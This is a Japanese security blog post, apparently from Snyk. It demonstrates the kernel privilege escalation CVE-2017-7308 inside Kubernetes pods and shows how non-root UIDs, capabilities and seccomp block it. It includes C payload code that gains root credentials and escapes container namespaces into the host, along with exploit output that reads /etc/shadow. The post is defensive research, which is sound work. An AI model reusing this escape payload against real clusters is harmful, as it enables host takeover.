Skip to main content

カーネル権限昇格:Kubernetesのコンテナ分離が権限昇格攻撃に与える影響

著者
Headshot of Kamil Potrec

Kamil Potrec

2020年12月3日

0 分で読めます

日中はTerraformのコードやKubernetesオブジェクトの設定ファイルを分析し、よくあるセキュリティ上の問題を見つけています。日が暮れるとフード付きパーカーを着て、Linux VMやデバッガーを起動し、クラウドネイティブエコシステムを構成する技術の内部を調べます。

この記事では、Kubernetesのコンテナ分離が権限昇格攻撃にどのような影響を与えるのかを探ります。一般的なカーネルエクスプロイト手法を使い、コンテナの抽象化レイヤーが、念願のrootシェルへの道をどのように阻むのかを見ていきます。

権限昇格とは?

権限昇格とは、リソースに対する権限をより多く取得するプロセスを指す用語です。カーネル権限昇格とは、複数あるカーネルのエントリーポイントのいずれか(攻撃ベクトルとも呼ばれます)の脆弱性を悪用して権限を取得するプロセスです。攻撃ベクトルとは、脆弱なコードにアクセスするための経路です。

ファイルシステムからの読み取り、デバイスファイルのオープン、システムコールの発行、ネットワークインターフェースを介したパケットの送信など、私たちはさまざまな方法でカーネルとやり取りします。これらの操作はすべて、カーネル空間で何らかの処理を必要とします。カーネルがユーザープロセスに代わって処理を行うとき、カーネルはプロセスコンテキストで動作していると言います。各プロセスは、カーネル内ではstruct task_struct構造体で表されます。これらは循環双方向リンクリストに格納されており、ユーザー空間からカーネル空間へのコンテキストスイッチが発生すると、x86-64アーキテクチャではPER_CPU変数からアクセスされます。

task_structにはstruct credsメンバーがあり、プロセスに関連付けられたユーザー識別子とケーパビリティが保持されています。カーネルはこの情報を使って、特定のシステムコールの実行が許可されているかなど、プロセスが操作を実行できるかどうかを判断します。カーネル権限昇格の一般的な目的は、認証情報構造体を置き換える、または更新して、より多くの権限を得ることです。

権限昇格の仕組み

カーネル空間で権限を昇格する最も一般的な手法は、カーネル関数[commit_creds](https://github.com/torvalds/linux/blob/master/kernel/cred.c#L437)([prepare_kernel_cred(0)](https://github.com/torvalds/linux/blob/master/kernel/cred.c#L682))を組み合わせて利用することです。これを行うには、エクスプロイトが命令ポインター(RIP)を制御し、メモリアクセス制御とランダム化制御を突破している必要があります。[prepare_kernel_cred](https://github.com/torvalds/linux/blob/master/kernel/cred.c#L682)は既存の認証情報をもとに認証情報オブジェクトを生成できます。また、より簡単に、rootの全権限を持つデフォルトのオブジェクトを生成することもできます。[commit_creds](https://github.com/torvalds/linux/blob/master/kernel/cred.c#L437)は、現在のプロセスのtask_structを新しい認証情報オブジェクトで更新します。

typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

void get_root_payload(void) {
   ((_commit_creds)(KERNEL_BASE + COMMIT_CREDS))(
       ((_prepare_kernel_cred)(KERNEL_BASE + PREPARE_KERNEL_CRED))(0)
   );
}

カーネルエクスプロイトは非常に広範な分野です。そのため、この記事ではカーネル権限昇格を大幅に単純化した例だけを取り上げます。カーネルには、エクスプロイトを困難にするためのセキュリティ制御が数多くあります。SMEP、SMAP、KASLR、KPTIはいずれも、ハードウェアまたはカーネルで実装されている仕組みであり、使用するディストリビューションやシステム管理者によって有効・無効が設定されます。Kubernetesからこれらの設定を直接制御する方法はないため、この記事では扱いません。

ここでは、af_packetの実装に存在し、CVE-2017-7308として報告された古い問題を使用します。この脆弱性の悪用にはrawソケットへのアクセスが必要で、CAP_NET_RAWケーパビリティが利用されます。脆弱性の詳細はこちらで詳しく解説されているため、ここでは説明しません。必要なケーパビリティはすべて、非特権ユーザー名前空間内で取得できます。Ubuntuディストリビューションでは、ユーザー名前空間へのアクセスはデフォルトでnot。

dev@node1:~/exploit$ grep CONFIG_USER_NS /boot/config-4.15.0-122-generic
CONFIG_USER_NS=y
dev@node1:~/exploit$ sudo sysctl kernel.unprivileged_userns_clone
kernel.unprivileged_userns_clone = 1
dev@node1:~/exploit$

詳しく見ていきましょう

まずは、コンテナ化されていない環境での一連のプロセスを見てみましょう。

GNU Debugger(gdb)を仮想マシンのスタブに接続します。デバッガーを接続したら、適切な場所にブレークポイントを設定できます。ここではmlockシステムコールを使用します。これを使えば、実行中のプロセスの内部状態を確認したいときに、エクスプロイトから手動でブレークポイントを呼び出せます。gdbが停止するのは、実行中のプロセス名が「exploit」の場合だけです。これにより、システム上の別のプロセスでブレークポイントが作動するリスクを抑えられます。セットアップ作業は、. gdbコマンドファイルにまとめてスクリプト化しています。GDBを-xフラグ付きで実行すれば、一貫性があり、繰り返し可能な方法でセットアップできます。

dev@pwnbox:/$ cat setup.gdb
set print pretty on
file vmlinux
target remote 127.0.0.1:11234
break sys_mlock if $_streq($lx_current().comm, "exploit")
continue
dev@pwnbox:/$ gdb -q -x setup.gdb
0xffffffff819c24be in native_safe_halt () at ./arch/x86/include/asm/irqflags.h:61
61  }
Breakpoint 1 at 0xffffffff8121da50: file mm/mlock.c, line 709.

ブレークポイントは、非特権ユーザー名前空間が作成される前、脆弱性を実行する直前、そしてroot認証情報を取得した後に作動します。適切なシステムコールを実行するだけで、この動作を実現できます。

syscall(149, 0, 0); // Break before CLONE_NEWUSER
if (unshare(CLONE_NEWUSER) != 0) {
   perror("[-] unshare(CLONE_NEWUSER)");
   exit(EXIT_FAILURE);
}
/* OMITTED */printf("[*] executing get root payload %p\n", &get_root_payload);
syscall(149, 0, 0); // Break before commit_creds
exploit_cve_2017_7308((void *)&get_root_payload);
printf("[*] done\n");
syscall(149, 0, 0); // Break after commit_creds

では、エクスプロイトを実行してみましょう。

dev@node1:~/exploit$ ./exploit
[*] CVE-2017-7308 based on https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c
[*] commit_creds:        ffffffff810b45e0
[*] prepare_kernel_cred: ffffffff810b4ad0
[*] executing get root payload 0x558abc4dd583

最初のブレークポイントが予想どおり作動しました。gdbのヘルパー関数$lx_currentを実行して、cred構造体を調べられます。現在のプロセスの実効UIDは1000で、予想どおり、現在の名前空間では実効ケーパビリティを持っていません。

Thread 6 hit Breakpoint 1, SyS_mlock (start=0, len=0) at mm/mlock.c:709
709 SYSCALL_DEFINE2(mlock, unsigned long, start, size_t, len)
(gdb) p *($lx_current().cred)
$1 = {
 usage = {counter = 4},
 uid = { val = 1000 },
 gid = { val = 1000 },
 suid = { val = 1000 },
 sgid = { val = 1000 },
 euid = { val = 1000 },
 egid = { val = 1000 },
 fsuid = { val = 1000 },
 fsgid = { val = 1000 },
 securebits = 0,
 cap_inheritable = { cap = {0, 0} },
 cap_permitted = { cap = {0, 0} },
 cap_effective = { cap = {0, 0} },
 cap_bset = { cap = {4294967295, 63} },
 cap_ambient = { cap = {0, 0} },
 jit_keyring = 0 '\000',
 session_keyring = 0xffff888331051f00,
 process_keyring = 0x0 <irq_stack_union>,
 thread_keyring = 0x0 <irq_stack_union>,
 request_key_auth = 0x0 <irq_stack_union>,
 security = 0xffff8882bb29dd60,
 user = 0xffff88832dd89f00,
 user_ns = 0xffffffff824541e0 <init_user_ns>,
 group_info = 0xffff8882b9181480,
 {
   non_rcu = 0,
   rcu = {
     next = 0x0 <irq_stack_union>,
     func = 0x0 <irq_stack_union>
   }
 }
}
(gdb)

2つ目のブレークポイントは、unshareの呼び出し後に作動し、プロセス用の新しいユーザー名前空間が作成されます。UIDは変わっていませんが、cap_effectiveとuser_nsの属性が変化していることに注目してください。ケーパビリティはビットマスクとして保存されており、16進数で表示すると読みやすくなります。

Thread 1 hit Breakpoint 1, SyS_mlock (start=0, len=0) at mm/mlock.c:709
709 SYSCALL_DEFINE2(mlock, unsigned long, start, size_t, len)
(gdb) p *($lx_current().cred)
$2 = {
 /* OMITTED */ uid = { val = 1000 },
 gid = { val = 1000 },
 /* OMITTED */ euid = { val = 1000 },
 /* OMITTED */ cap_inheritable = { cap = {0, 0} },
 cap_permitted = { cap = {4294967295, 63} },
 cap_effective = { cap = {4294967295, 63} },
 /* OMITTED */ user = 0xffff88832dd89f00,
 user_ns = 0xffff8882c1e0b800,
 /* OMITTED */}
(gdb) p/x 4294967295
$4 = 0xffffffff 
(gdb)

最後のブレークポイントは、脆弱性を悪用した後に作動します。UIDが0に設定され、ユーザー名前空間がホストのinitユーザー名前空間を表すinit_user_nsにリセットされていることが分かります。

Thread 1 hit Breakpoint 1, SyS_mlock (start=0, len=0) at mm/mlock.c:709
709 SYSCALL_DEFINE2(mlock, unsigned long, start, size_t, len)
(gdb) p *($lx_current().cred)
$3 = {
 /* OMITTED */ uid = { val = 0 },
 /* OMITTED */ 
 euid = { val = 0 },
 /* OMITTED */ cap_effective = { cap = {4294967295, 63} },
 /* OMITTED */ user = 0xffffffff82454160 <root_user>,
 user_ns = 0xffffffff824541e0 <init_user_ns>,
 group_info = 0xffffffff8245b568 <init_groups>,
 /* OMITTED */ }

シェルが戻り、ホスト上でrootの全権限を取得できました。

dev@node1:~/exploit$ ./exploit
[*] CVE-2017-7308 based on https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c
[*] commit_creds:        ffffffff810b45e0
[*] prepare_kernel_cred: ffffffff810b4ad0
[*] executing get root payload 0x558abc4dd583
[*] done
[+] got r00t
root@node1:/home/dev/exploit# id
uid=0(root) gid=0(root) groups=0(root)
root@node1:/home/dev/exploit#

コンテナ内でのカーネルエクスプロイト

次に、同じエクスプロイトをPod内で実行してみます。非常にシンプルなPodオブジェクト定義を作成し、クラスターにデプロイしました。

apiVersion: v1
kind: Pod
metadata:
 name: very-default-pod
spec:
 containers:
   - name: test
     image: digitalocean/doks-debug:latest
     command: [ "sleep", "infinity" ]

デフォルト設定で何が起こるか見てみましょう。

dev@pwnbox:/$ kubectl get nodes
NAME    STATUS   ROLES    AGE   VERSION
node1   Ready    master   8d    v1.18.10
dev@pwnbox:/$ kubectl get pods
No resources found in default namespace.
dev@pwnbox:/$ kubectl apply -f very-default-pod.yaml
pod/test created
dev@pwnbox:/$ kubectl get pods
NAME   READY   STATUS    RESTARTS   AGE
test   1/1     Running   0          4s
dev@pwnbox:/$ kubectl exec -it test -- /bin/bash
root@test:~# id
uid=0(root) gid=0(root) groups=0(root)

デフォルトでroot

デモで使用したイメージでは非特権ユーザーが指定されておらず、KubernetesもデフォルトではUIDを強制しません。そのため、カーネルを悪用しなくてもrootアクセスが得られたように見えます。同じエクスプロイトを再実行し、脆弱な経路を実行する直前にカーネルを停止します。プロセスの実効ケーパビリティを見ると、いくつか不足していることが分かります。値は2818844155で、Dockerランタイムがデフォルトで付与するケーパビリティセットを表しています。

(gdb) p *($lx_current().cred)
$1 = {
 /* OMITTED */ euid = { val = 0 },
 /* OMITTED */ securebits = 0,
 cap_inheritable = { cap = {2818844155, 0} },
 cap_permitted = { cap = {2818844155, 0} },
 cap_effective = { cap = {2818844155, 0} },
 cap_bset = { cap = {2818844155, 0} },
 cap_ambient = { cap = {0, 0} },
 /* OMITTED */ 
 user = 0xffffffff82454160 <root_user>,
 user_ns = 0xffffffff824541e0 <init_user_ns>,
 /* OMITTED */ }

エクスプロイトの完了後、実効ケーパビリティセットには再びすべてのケーパビリティが含まれます。

Thread 1 hit Breakpoint 1, SyS_mlock (start=0, len=0) at mm/mlock.c:709
709 SYSCALL_DEFINE2(mlock, unsigned long, start, size_t, len)
(gdb) p *($lx_current().cred)
$2 = {
 /* OMITTED */ securebits = 0,
 cap_inheritable = { cap = {0, 0} },
 cap_permitted = { cap = {4294967295, 63} },
 cap_effective = { cap = {4294967295, 63} },
 cap_bset = { cap = {4294967295, 63} },
 /* OMITTED */}

今度はrunAsセキュリティコンテキスト属性を設定し、コンテナで非rootユーザーIDを強制します。

apiVersion: v1
kind: Pod
metadata:
 name: non-root-pod
spec:
 containers:
   - name: test
     image: digitalocean/doks-debug:latest
     securityContext:
       runAsUser: 1000
       runAsGroup: 1000
     command: [ "sleep", "infinity" ]

今回は、最初からroot権限があるわけではありません。しかし、エクスプロイトはまったく同じように動作し、最終結果に大きな違いが生じます。すべての権限を持っているように見えますが、システム上のすべてを確認できるわけではありません。

dev@pwnbox:/$ kubectl apply -f non-root-uid-pod.yaml
pod/test created
dev@pwnbox:/$ kubectl exec -it test -- /bin/bash
groups: cannot find name for group ID 1000
I have no name!@test:/root$ cd /mnt/dev/exploit/
I have no name!@test:/mnt/dev/exploit$ ./exploit
[*] CVE-2017-7308 based on https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c
[*] commit_creds:        ffffffff810b45e0
[*] prepare_kernel_cred: ffffffff810b4ad0
[*] executing get root payload 0x55e55ff5a583
[*] done
[+] got r00t
root@test:/mnt/dev/exploit# id
uid=0(root) gid=0(root) groups=0(root)
root@test:/mnt/dev/exploit# cat /etc/shadow
root:*:18198:0:99999:7:::
daemon:*:18198:0:99999:7:::
bin:*:18198:0:99999:7:::
sys:*:18198:0:99999:7:::
sync:*:18198:0:99999:7:::
games:*:18198:0:99999:7:::
man:*:18198:0:99999:7:::
lp:*:18198:0:99999:7:::
mail:*:18198:0:99999:7:::
news:*:18198:0:99999:7:::
uucp:*:18198:0:99999:7:::
proxy:*:18198:0:99999:7:::
www-data:*:18198:0:99999:7:::
backup:*:18198:0:99999:7:::
list:*:18198:0:99999:7:::
irc:*:18198:0:99999:7:::
gnats:*:18198:0:99999:7:::
nobody:*:18198:0:99999:7:::
_apt:*:18198:0:99999:7:::
messagebus:*:18207:0:99999:7:::
root@test:/mnt/dev/exploit# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
   link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
   inet 127.0.0.1/8 scope host lo
      valid_lft forever preferred_lft forever
   inet6 ::1/128 scope host
      valid_lft forever preferred_lft forever
2: tunl0@NONE: <NOARP> mtu 1480 qdisc noop state DOWN group default qlen 1000
   link/ipip 0.0.0.0 brd 0.0.0.0
root@test:/mnt/dev/exploit#

名前空間の檻

すべてのケーパビリティとroot UIDを取得できましたが、突破できたのはコンテナのケーパビリティの壁だけです。ホストのファイルシステムにはまだアクセスできないため、すべてのプロセスを確認したり、ホストのネットワークインターフェースを介して通信したりすることはできません。

root@test:~# ls -la /dev/
total 4
drwxr-xr-x 5 root root  360 Nov 23 14:04 .
drwxr-xr-x 1 root root 4096 Nov 23 14:04 ..
lrwxrwxrwx 1 root root   11 Nov 23 14:04 core -> /proc/kcore
lrwxrwxrwx 1 root root   13 Nov 23 14:04 fd -> /proc/self/fd
crw-rw-rw- 1 root root 1, 7 Nov 23 14:04 full
drwxrwxrwt 2 root root   40 Nov 23 14:04 mqueue
crw-rw-rw- 1 root root 1, 3 Nov 23 14:04 null
lrwxrwxrwx 1 root root    8 Nov 23 14:04 ptmx -> pts/ptmx
drwxr-xr-x 2 root root    0 Nov 23 14:04 pts
crw-rw-rw- 1 root root 1, 8 Nov 23 14:04 random
drwxrwxrwt 2 root root   40 Nov 23 14:04 shm
lrwxrwxrwx 1 root root   15 Nov 23 14:04 stderr -> /proc/self/fd/2
lrwxrwxrwx 1 root root   15 Nov 23 14:04 stdin -> /proc/self/fd/0
lrwxrwxrwx 1 root root   15 Nov 23 14:04 stdout -> /proc/self/fd/1
-rw-rw-rw- 1 root root    0 Nov 23 14:04 termination-log
crw-rw-rw- 1 root root 5, 0 Nov 23 14:04 tty
crw-rw-rw- 1 root root 1, 9 Nov 23 14:04 urandom
crw-rw-rw- 1 root root 1, 5 Nov 23 14:04 zero
root@test:~# ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.0   4532   752 ?        Ss   14:04   0:00 sleep infinity
root         7  0.0  0.0  18504  3352 pts/0    Ss   14:04   0:00 /bin/bash
root        24  0.0  0.0  34400  2776 pts/0    R+   14:04   0:00 ps aux
root@test:~# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
   link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
   inet 127.0.0.1/8 scope host lo
      valid_lft forever preferred_lft forever
2: tunl0@NONE: <NOARP> mtu 1480 qdisc noop state DOWN group default qlen 1000
   link/ipip 0.0.0.0 brd 0.0.0.0
4: eth0@if14: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
   link/ether 4e:52:2c:19:28:37 brd ff:ff:ff:ff:ff:ff link-netnsid 0
   inet 10.233.90.139/32 scope global eth0
      valid_lft forever preferred_lft forever
root@test:~#

この時点で、任意のカーネルモジュールをロードできます。しかし、それは痕跡が残り、(期待したいところですが)基本的な侵入検知システムの多くに検知されます。これを試すために、使われていないモジュールを削除してみましょう。Dockerイメージにモジュールパッケージがインストールされている必要があります。Debianイメージの場合は、kmodパッケージをインストールしてください。

root@test:/mnt/dev/exploit# lsmod
Module                  Size  Used by
i2c_piix4              24576  0
binfmt_misc            20480  1
xt_CT                  16384  8
xt_tcpudp              16384  12
/* OMITTED */pata_acpi              16384  0
floppy                 77824  0
root@test:/mnt/dev/exploit# rmmod i2c_piix4
root@test:/mnt/dev/exploit# lsmod | grep i2c
root@test:/mnt/dev/exploit#

代わりに、カーネルエクスプロイトを拡張し、現在のコンテキストにある[struct nsproxy](https://github.com/torvalds/linux/blob/master/include/linux/nsproxy.h#L31)オブジェクトを、任意の名前空間を指すように設定できます。名前空間はinodeで識別されますが、カーネルは[init_nsproxy](https://github.com/torvalds/linux/blob/master/kernel/nsproxy.c#L32)のアドレスを公開しています。これを使って、ホストのinit名前空間をコンテナにコピーできます。

(gdb) info address init_nsproxy
Symbol "init_nsproxy" is static storage at address 0xffffffff8245b2a0.
(gdb

sys_setnsシステムコールを使うと、プロセスコンテキストの名前空間を更新できます。権限昇格で移行したい主な名前空間は、PID、ネットワーク、マウントの3つです。まず、root名前空間への参照を取得する必要があります。これには、コンテナのPID 1をホストの名前空間に移動させます。次に、PID 1の/proc/ファイルシステムから任意の名前空間への参照を取得できます。最後に、現在のプロセスを必要な名前空間に移動します。

typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
typedef unsigned long long __attribute__((regparm(3))) (* _find_task_by_vpid)(unsigned int vnr);
typedef void __attribute__((regparm(3))) (* _switch_task_namespaces)(void *tsk, void *new);
typedef long __attribute__((regparm(4))) (* _do_sys_open)(int fd, const char *filename, int flags, unsigned short mode);
typedef long __attribute__((regparm(3))) (* _sys_setns)(int fd, int nstype);

void get_root_payload(void) {
   ((_commit_creds)(KERNEL_BASE + COMMIT_CREDS))(
       ((_prepare_kernel_cred)(KERNEL_BASE + PREPARE_KERNEL_CRED))(0)
   );
   // [1] - Identify PID 1 task in current PID namespace
   unsigned long long task = ((_find_task_by_vpid)(KERNEL_BASE + FIND_TASK_BY_VPID))(1);
   // [2] - Move PID 1 into init namespaces
   ((_switch_task_namespaces)(KERNEL_BASE + SWITCH_TASK_NS))((void *)task, (void *)(KERNEL_BASE + INIT_NSPROXY));
   // [3] - Read mount namespace inode
   long fd = ((_do_sys_open)(KERNEL_BASE + DO_SYS_OPEN))(AT_FDCWD, "/proc/1/ns/mnt", O_RDONLY, 0);
   // [4] - Move current process into host’s mount namespace
   ((_sys_setns)(KERNEL_BASE + SYS_SETNS))( fd, 0 );
   // [5] - Read pid namespace inode
   fd = ((_do_sys_open)(KERNEL_BASE + DO_SYS_OPEN))(AT_FDCWD, "/proc/1/ns/pid", O_RDONLY, 0);
   // [6] - Move current process into host’s pid namespace
   ((_sys_setns)(KERNEL_BASE + SYS_SETNS))( fd, 0 );
   // [7] - Read network namespace inode
   fd = ((_do_sys_open)(KERNEL_BASE + DO_SYS_OPEN))(AT_FDCWD, "/proc/1/ns/net", O_RDONLY, 0);
   // [8] - Move current process into host’s network namespace
   ((_sys_setns)(KERNEL_BASE + SYS_SETNS))( fd, 0 );
}

エクスプロイトの実行後は、興味深いシステムリソースすべてにアクセスできます。

I have no name!@test:/root$ cd /mnt/dev/exploit/
I have no name!@test:/mnt/dev/exploit$ id
uid=1000 gid=1000 groups=1000
I have no name!@test:/mnt/dev/exploit$ ./exploit
[*] CVE-2017-7308 based on https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c
[*] commit_creds:        ffffffff810b45e0
[*] prepare_kernel_cred: ffffffff810b4ad0
[*] executing get root payload 0x559f462d7583
[*] done
[+] got r00t
root@test:/# id
uid=0(root) gid=0(root) groups=0(root)root@test:/# ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.2  0.0 226012  9556 ?        Ss   14:30   0:02 /sbin/init nokaslr nopti
root         2  0.0  0.0      0     0 ?        S    14:30   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        I    14:30   0:00 [kworker/0:0]
root         4  0.0  0.0      0     0 ?        I<   14:30   0:00 [kworker/0:0H]
root         6  0.0  0.0      0     0 ?        I<   14:30   0:00 [mm_percpu_wq]
/* OMITTED */dev      18468  0.0  0.0   4532   724 ?        Ss   14:44   0:00 sleep infinity
dev      18642  0.0  0.0  18508  3360 pts/0    Ss   14:44   0:00 /bin/bash
root     19762  0.2  0.0   4516   752 pts/0    S    14:45   0:00 ./exploit
root     19767  0.0  0.0  18516  3412 pts/0    S    14:45   0:00 /bin/bash -i
root     19803  0.0  0.0  36708  3172 pts/0    R+   14:45   0:00 ps aux
root@test:/# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
   link/ether 52:54:00:8a:6e:73 brd ff:ff:ff:ff:ff:ff
   inet 10.100.100.80/24 brd 10.100.100.255 scope global dynamic ens3
      valid_lft 2704sec preferred_lft 2704sec
   inet6 fe80::5054:ff:fe8a:6e73/64 scope link
      valid_lft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
   link/ether 02:42:00:d6:f9:0a brd ff:ff:ff:ff:ff:ff
   inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
      valid_lft forever preferred_lft forever
4: kube-ipvs0: <BROADCAST,NOARP> mtu 1500 qdisc noop state DOWN group default
   link/ether 76:17:6a:aa:ea:9e brd ff:ff:ff:ff:ff:ff
   inet 10.233.59.218/32 brd 10.233.59.218 scope global kube-ipvs0
      valid_lft forever preferred_lft forever
   inet 10.233.0.1/32 brd 10.233.0.1 scope global kube-ipvs0
      valid_lft forever preferred_lft forever
   inet 10.233.0.3/32 brd 10.233.0.3 scope global kube-ipvs0
      valid_lft forever preferred_lft forever
   inet 10.233.17.50/32 brd 10.233.17.50 scope global kube-ipvs0
      valid_lft forever preferred_lft forever
/* OMITTED */14: cali1037a54e65e@if4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
   link/ether ee:ee:ee:ee:ee:ee brd ff:ff:ff:ff:ff:ff link-netnsid 0
   inet6 fe80::ecee:eeff:feee:eeee/64 scope link
      valid_lft forever preferred_lft forever
root@test:/#
root@test:/# reboot
Failed to connect to bus: No data available

ケーパビリティの活用

Kubernetesコンテナにデフォルトで割り当てられるケーパビリティ(Dockerランタイムの場合)には、コンテナのCAP_NET_RAWが含まれています。これは、非特権ユーザー名前空間が無効でも脆弱性を悪用できるということでしょうか?脆弱なコードに到達するために必要な実効ケーパビリティを設定するコードを追加しました。

cap_t caps;
caps = cap_get_proc();
if (caps == NULL){
   perror("[-] Failed to get current caps\n");
   exit(EXIT_FAILURE);
}
cap_value_t cap_list[1];
cap_list[0] = CAP_NET_RAW;
if(cap_set_flag(caps, CAP_EFFECTIVE, 1, cap_list, CAP_SET) == -1){
   perror("[-] Failed to set effective caps\n");
   exit(EXIT_FAILURE);
}
if(cap_set_proc(caps) != 0){
   perror("[-] Failed to set process cpas\n");
   exit(EXIT_FAILURE);
}

ご覧のとおり、エクスプロイトは失敗します。なぜでしょうか?

I have no name!@test:/root$ id
uid=1000 gid=1000 groups=1000
I have no name!@test:/root$ cd /mnt/dev/exploit/
I have no name!@test:/mnt/dev/exploit$ ./exploit
[*] CVE-2017-7308 based on https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c
[-] unshare(CLONE_NEWUSER): Operation not permitted
I have no name!@test:/mnt/dev/exploit$

これは継承可能なケーパビリティと、その実装方法に関係しています。コンテナランタイムがコンテナ内のプロセスにこれらのケーパビリティを付与していても、sys_capsetを使って実効ケーパビリティとして明示的に設定する必要があります。現時点では、実効ケーパビリティを設定できるのはUID 0のプロセスだけです。したがって、非rootユーザーとして実行しながら必要なケーパビリティも利用するには、実効ケーパビリティを設定するsuidバイナリをコンテナに含める必要があります。または、実行ファイルに必要なケーパビリティを設定して、コンテナのケーパビリティを削除することもできます。ファイルケーパビリティは、拡張属性をサポートするファイルシステムでのみ使用できます。

Seccompで防御する

次に、攻撃ベクトルに到達できるかどうかを考えてみましょう。このエクスプロイトが機能するのは、非特権ユーザーが非特権ユーザー名前空間内でCAP_NET_RAWケーパビリティを取得できるためです。先ほどケーパビリティについて説明した際に、これがエクスプロイトに与える影響を確認しました。攻撃を阻止するために、もう1つ使える対策があります。そう、Kubernetesから有効にできます。

Seccompはシステムコールをフィルタリングし、カーネルの攻撃対象領域を縮小するための仕組みです。残念ながら、Kubernetesはデフォルトではコンテナにseccompプロファイルを適用しません。そのため、すでに説明した権限チェックに従う限り、すべてのシステムコールが許可されます。この設定は、オブジェクト定義にアノテーションを追加する(v1.19より前の場合)か、Podのセキュリティコンテキストにseccompプロファイル属性を追加することで変更できます。

apiVersion: v1
kind: Pod
metadata:
 name: seccomp-pod
 annotations:
   seccomp.security.alpha.kubernetes.io/pod: runtime/default
spec:
 containers:
   - name: test
     image: digitalocean/doks-debug:latest
     command: [ "sleep", "infinity" ]

コンテナランタイム(ここではDocker)が提供するデフォルトプロファイルによって、エクスプロイトにどのような影響があるか見てみましょう。「Operation not permitted」エラーが表示されます。これは、デフォルトのseccompプロファイルがunshareシステムコールを許可していないためです。

I have no name!@test:/root$ cd /mnt/dev/exploit/
I have no name!@test:/mnt/dev/exploit$ sysctl kernel.unprivileged_userns_clone
kernel.unprivileged_userns_clone = 1
I have no name!@test:/mnt/dev/exploit$ ./exploit
[*] CVE-2017-7308 based on https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c
[-] unshare(CLONE_NEWUSER): Operation not permitted
I have no name!@test:/mnt/dev/exploit$

Seccompは、不要なカーネルエントリーポイントを制限するのに有効です。unshareやuserfaultfdなどのシステムコールは、ほとんどのユースケースで安全に無効化でき、いくつかのエクスプロイト手法への対策として役立ちます。ただし、waitidなど、ブロックが難しいシステムコールもあります。こうした手法や、コンテナを悪用するその他の手法についてはこちらをご覧ください。

まとめ

デフォルトのseccompプロファイルを使って、このエクスプロイトを防ぐことができました。ご覧のとおり、オペレーティングシステムに脆弱性があっても、コンテナからエクスプロイトの実行経路には到達できません(今回は)。この手法を使えば、オペレーティングシステムを一刻も早くアップデートするための時間を確保できます。こうした対策は、多層防御のための制御策および緩和策として捉えてください。

システムには必ずパッチを適用しましょう!Snyk Infrastructure as Codeを使えば、こうした緩和策をCI/CDパイプラインの早い段階で、本番環境にデプロイされるずっと前に検出できます。Kubernetesやクラウドサービスプロバイダーにおける影響の大きいセキュリティ対策を特定するため、敵対的な手法を活用しています。無料アカウントに登録して、Snykを無料でご利用ください。

CTFを始めよう

オンデマンドのバーチャル入門ワークショップで、CTFチャレンジの解き方を学びましょう。

続きを読む

feature insights announcement
Blog

Node-gypサプライチェーン侵害:binding.gypに潜む自己増殖型npmワーム

新たなnpmワームがbinding.gypを悪用し、インストール時にnode-gypを起動。ライフサイクルスクリプトを使わずに悪意あるパッケージからコードを実行します。認証情報を窃取し、GitHub上に潜伏し、メンテナー間で自己増殖します。

Article

メンテナーアカウント侵害が疑われる中、悪意のあるnode-ipcのバージョンがnpmに公開

2026年5月14日、人気のnpmパッケージnode-ipcの複数の悪意あるバージョンがnpmレジストリに公開されました。現在の公開情報では、node...

blog feature toolkit
Blog

elementary-dataのPyPIパッケージに悪意あるリリース、データエンジニアのクラウド認証情報を窃取

攻撃者はGitHub Actionsのスクリプトインジェクション脆弱性を悪用し、悪意あるバージョンのelementary-data Python CLI(v0.23.3)を公開しました。データエンジニアリング環境のdbtプロファイル、クラウドプロバイダーのキー、SSHシークレットを標的とする認証情報窃取バックドアが埋め込まれていました。